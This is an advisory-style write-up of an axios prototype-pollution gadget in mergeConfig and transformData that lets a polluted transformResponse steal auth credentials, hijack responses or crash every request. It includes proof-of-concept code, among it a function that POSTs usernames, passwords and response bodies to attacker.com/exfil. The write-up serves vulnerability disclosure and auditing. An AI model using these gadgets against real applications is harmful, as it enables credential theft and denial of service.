# axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

Axios mergeConfig reads inherited Object.prototype.transformResponse, so a prior prototype pollution lets an attacker function steal auth credentials and hijack responses.

- Payout: Research
- Severity: high
- Program: axios
- Found by: August829
- Disclosed: 2026-05-29
- CVE: CVE-2026-44495
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3g43-6gmg-66jw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3g43-6gmg-66jw
- Tags: area:oss domain:oss impact:data-leak impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:secrets-leak

**Target:** npm axios library config merge and response transform pipeline
**Root cause:** mergeConfig() and validator.assertOptions() read config keys via normal property access, so a polluted Object.prototype.transformResponse is treated as request config and executed by transformData() with `this` = full request config.
**Steps:**
1. Pollute `Object.prototype.transformResponse = function(data, headers, status){...}` via any separate PP bug in the same process.
2. Application calls `axios.get(url, { auth: { username, password } })`.
3. mergeConfig iterates keys of defaults+config; `transformResponse` is in defaults, and `config2['transformResponse']` falls through to the polluted prototype function.
4. transformData executes `fn.call(config, data, headers.normalize(), status)`, exposing `this.auth`, `this.url`, headers and response data.
5. Attacker function exfiltrates config/response and returns `true` to pass assertOptions; caller receives `true` instead of real data.
6. DoS variant: pollute with an array to trigger `TypeError: validator is not a function` on every request.
**How found:** Source code audit of mergeConfig.js and transformData.js; noticed config keys are read via prototype-chain traversal and that transformResponse is present in defaults, then built a PoC — first with an array payload (crashed at validator.js), then corrected to a function returning true.
**Exploitation:** Requires a pre-existing prototype pollution primitive in the dependency tree (qs, minimist, lodash, body-parser). Once Object.prototype.transformResponse is a function, every axios request in the process runs it with the full config as `this`, allowing exfiltration of auth.username/password, Authorization headers, URL and original response body to an attacker server; the function must return `true` to satisfy assertOptions.
**Escalation:** Universal scope: applies to every axios request including those made by third-party libraries; bypasses the 1.15.0 header-sanitization fix from GHSA-fvcv-3m26-pcqx since it targets the transform pipeline, not headers.
**Insight:** When auditing JS libraries for PP gadgets, look for config keys present in defaults that are read with plain property access and later invoked as callbacks (transforms, validators, serializers) — the `this` binding often leaks the whole config including credentials. Also check validator/assert paths separately, since they may remain gadget-able after the merge path is patched.

## Proof of concept (copied exactly from the original report)

**Node PoC polluting transformResponse to steal auth**

```
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}
```

**Polluted transformResponse exfiltrating credentials via fetch**

```
Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};
```

**Array pollution DoS crashing every request**

```
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
```

